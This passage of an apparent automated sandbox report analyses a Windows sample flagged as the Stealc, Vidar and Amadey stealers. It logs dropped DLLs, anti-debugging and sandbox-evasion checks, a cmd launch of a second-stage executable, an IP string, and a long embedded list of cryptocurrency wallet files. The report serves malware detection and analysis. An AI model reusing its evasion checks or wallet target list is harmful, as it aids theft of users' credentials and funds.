Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 4540	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3812	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3712	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3616	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5128	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6420	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6420	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6704	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep time: -1260000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5248	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE4EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE4EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.2553319780.0000000000C74000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823726536.0000000001A74000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2550891570.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2550891570.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 0000001C.00000002.2550891570.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1816910277.0000000000F98000.00000040.00000001.01000000.00000003.sdmp, DocumentsGCBFBGCGIJ.exe, 00000015.00000002.1839908305.0000000000BF4000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.1860979864.0000000000C74000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.1872224801.0000000000C74000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2553319780.0000000000C74000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe

Code function: 21_2_04EA0275 rdtsc

21_2_04EA0275

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF1AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AB652B mov eax, dword ptr fs:[00000030h]		28_2_00AB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00ABA302 mov eax, dword ptr fs:[00000030h]		28_2_00ABA302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBFBGCGIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBFBGCGIJ.exe "C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF64760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE41C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE41C30

Source: file.exe, file.exe, 00000000.00000002.1816910277.0000000000F98000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: qProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1AE71 cpuid

0_2_6CF1AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF1A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CF1A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE68390 NSS_GetVersion,

0_2_6CE68390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsGCBFBGCGIJ.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.1799211641.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2481029988.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2552830550.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1839804451.0000000000A01000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1831173340.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1860245205.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1871963481.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1819820486.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1813754900.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1294491681.00000000055C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1823726536.0000000001AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Exodus\exodus.conf.jsonmz>
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
